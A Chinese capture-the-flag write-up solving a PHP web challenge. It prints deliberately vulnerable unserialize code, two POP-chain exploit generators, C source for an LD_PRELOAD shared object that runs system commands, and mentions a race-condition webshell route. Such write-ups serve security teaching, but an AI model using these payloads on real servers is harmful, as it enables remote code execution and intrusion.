2024春秋杯夏季赛web Hijack 详细小白WP
这道题考察的是php反序列化的pop链结合LD_PRELOAD劫持(非预期解是条件竞争)
下面是比赛源码
<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
ini_set('display_errors', 1);
function filter($a)
{
$pattern = array('\'', '"','%','\(','\)',';','bash');
$pattern = '/' . implode('|', $pattern) . '/i';
if(preg_match($pattern,$a)){
die("No injecting!!!");
}
return $a;
}
class ENV{
public $key;
public $value;
public $math;
public function __toString()
{
$key=filter($this->key);
$value=filter($this->value);
putenv("$key=$value");
system("cat hints.txt");
}
public function __wakeup()
{
if (isset($this->math->flag))
{
echo getenv("LD_PRELOAD");
echo "YesYes";
} else {
echo "YesYesYes";
}
}
}
class DIFF{
public $callback;
public $back;
private $flag;
public function __isset($arg1)
{
system("cat /flag");
$this->callback->p;
echo "You are stupid, what exactly is your identity?";
}
}
class FILE{
public $filename;
public $enviroment;
public function __get($arg1){
if("hacker"==$this->enviroment){
echo "Hacker is bad guy!!!";
}
}
public function __call($function_name,$value)
{
if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {
$uploadDir = "/tmp/";
$destination = $uploadDir . md5(time()) . $matches[0];
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
file_put_contents($this->filename, base64_decode($value[0]));
if (rename($this->filename, $destination)) {
echo "文件成功移动到${destination}";
} else {
echo '文件移动失败。';
}
} else {
echo "非法文件名。";
}
}
}
class FUN{
public $fun;
public $value;
public function __get($name)
{
$this->fun->getflag($this->value);
}
}
$c = $_POST['Harder'];
unserialize($c);
?>
一、首先先审题
首先看到的 cat /flag ,但是下面的echo 直接说我们stupid,多半是假的。
public function __isset($arg1)
{
system("cat /flag");
$this->callback->p;
echo "You are stupid, what exactly is your identity?";
}
然后又看到一条hint.txt 以及设置ld环境变量的命令,基本可以确定是ld劫持命令了(看了hint.txt也可以确认劫持cat系统命令)。LD_PRELOAD劫持(超详细篇)_ld环境变量劫持-CSDN博客这条博客讲的挺好
public function __toString()
{
$key=filter($this->key);
$value=filter($this->value);
putenv("$key=$value");
system("cat hints.txt");
}
但是ld劫持需要先引用一个动态链接库,正好下面有一个文件上传的接口
public function __call($function_name,$value)
{
if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {
$uploadDir = "/tmp/";
$destination = $uploadDir . md5(time()) . $matches[0];
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
file_put_contents($this->filename, base64_decode($value[0]));
if (rename($this->filename, $destination)) {
echo "文件成功移动到${destination}";
} else {
echo '文件移动失败。';
}
} else {
echo "非法文件名。";
}
}
这串代码首先检查了文件后缀名是否存在如果有,定义了一个上传的目录位置/tmp,没有/tmp目录就创建一个,然后将base64的文件数据写入一个以时间戳的md5值为名的文件中放入/tmp目录中,我们可以依靠这串代码写入我们的.so恶意动态链接库,所以我们只需要定义 v a l u e 和 value和 value和filename属性就可以操控上传文件
二、分析pop链(文件上传链)
确认了方向就开始分析这条pop链,一共需要2条,一条上传文件的pop链,一条设置ld环境的pop链,首先先讲上传文件的pop链。
1.我比较喜欢倒推法,从结果到出发点,第一步要出发的是文件上传处__call方法,它的触发条件是调用一个不存在的方法,FUN类下的—__get方法明显符合我们的条件,让$fun=new FILE();
class FUN{
public $fun;
public $value;
public function __get($name)
{
$this->fun->getflag($this->value);
}
}
2.如果我们要触发__get方法就需要调用的成员属性不存在,那么DIFF类里的 isset方法就是触发点。让callback=new FUN();
class DIFF{
public $callback;
public $back;
private $flag;
public function __isset($arg1)
{
system("cat /flag");
$this->callback->p;
echo "You are stupid, what exactly is your identity?";
}
3.想要触发__isset方法需要对不可访问的属性使用isset()或empty()。ENV类wakeup方法就可以触发。使 m a t h = n e w D I F F ( ) ; ( 因为 D I F F 类内 math=new DIFF();(因为DIFF类内 math=newDIFF();(因为DIFF类内flag属于私有变量,只允许内部访问,所以可以触发)
class ENV{
public $key;
public $value;
public $math;
public function __toString()
{
$key=filter($this->key);
$value=filter($this->value);
putenv("$key=$value");
system("cat hints.txt");
}
public function __wakeup()
{
if (isset($this->math->flag))
{
echo getenv("LD_PRELOAD");
echo "YesYes";
} else {
echo "YesYesYes";
}
}
}
4.那么__wakeup魔术方法真是耳熟能详,他在反序列化unserialize($c)触发前触发,至此,pop链成功
$c = $_POST['Harder'];
unserialize($c);
下面是完整poc
<?php
class ENV{
public $key;
public $value;
public $math;
}
class DIFF{
public $callback;
public $back;
private $flag;
}
class FILE{
public $filename;
public $enviroment;
}
class FUN{
public $fun;
public $value;
}
$a=new ENV();
$a->math=new DIFF();
$a->math->callback=new FUN();
$a->math->callback->fun=new FILE();
$a->math->callback->value=''; //这里写入文件base64的内容
$a->math->callback->fun->filename='cat.so'; //随便取反正会重命名
echo urlencode(serialize($a));
?>
三、分析pop(设置环境变量链)
1. 同样步骤,确认终点找起点。我们只需要定义, k e y 和 key和 key和value变量即可控制环境变量
class ENV{
public $key;
public $value;
public $math;
public function __toString()
{
$key=filter($this->key);
$value=filter($this->value);
putenv("$key=$value");
system("cat hints.txt");
}
2.要触发tostring()需要将对象当作字符串处理,那我们可以发现上一条链子中__call方法中filename属性被当作了字符串,我们只需要将$filename = new ENV();即可将上一条链子直接拿过来用。
class FILE{
public $filename;
public $enviroment;
public function __get($arg1){
if("hacker"==$this->enviroment){
echo "Hacker is bad guy!!!";
}
}
public function __call($function_name,$value)
{
if (preg_match('/\.[^.]*$/', $this->filename, $matches)) { //这里filename被当作了字符串调用
$uploadDir = "/tmp/";
$destination = $uploadDir . md5(time()) . $matches[0];
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
file_put_contents($this->filename, base64_decode($value[0]));
if (rename($this->filename, $destination)) {
echo "文件成功移动到${destination}";
} else {
echo '文件移动失败。';
}
} else {
echo "非法文件名。";
}
3.直接放poc
<?php
class ENV{
public $key="LD_PRELOAD";
public $value='666'; //这里输入你们上传的.so文件位置
public $math;
}
class DIFF{
public $callback;
public $back;
private $flag;
}
class FILE{
public $filename;
public $enviroment;
}
class FUN{
public $fun;
public $value;
}
$a=new ENV();
$a->math=new DIFF();
$a->math->callback=new FUN();
$a->math->callback->fun=new FILE();
$a->math->callback->fun->filename=new ENV();
echo urlencode(serialize($a));
?>
三、编译动态链接库
1.命名为exp.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("ls /"); //这里输入你想执行的命令
}
2.下面编译exp.c为3.so文件
gcc -fPIC -shared -o 3.so exp.c -nostartfiles
3.然后用base64输出文件的base64编码值写入到poc中
base64 3.so
记得自行去掉其中的\r\n
4.最后成功执行ls /系统命令
四、条件竞争(非预期解)
1、可以通过条件竞争强行写进php一句话马
public function __call($function_name,$value)
{
if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {
$uploadDir = "/tmp/";
$destination = $uploadDir . md5(time()) . $matches[0];
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
file_put_contents($this->filename, base64_decode($value[0]));
if (rename($this->filename, $destination)) {
echo "文件成功移动到${destination}";
} else {
echo '文件移动失败。';
}
} else {
echo "非法文件名。";
}
}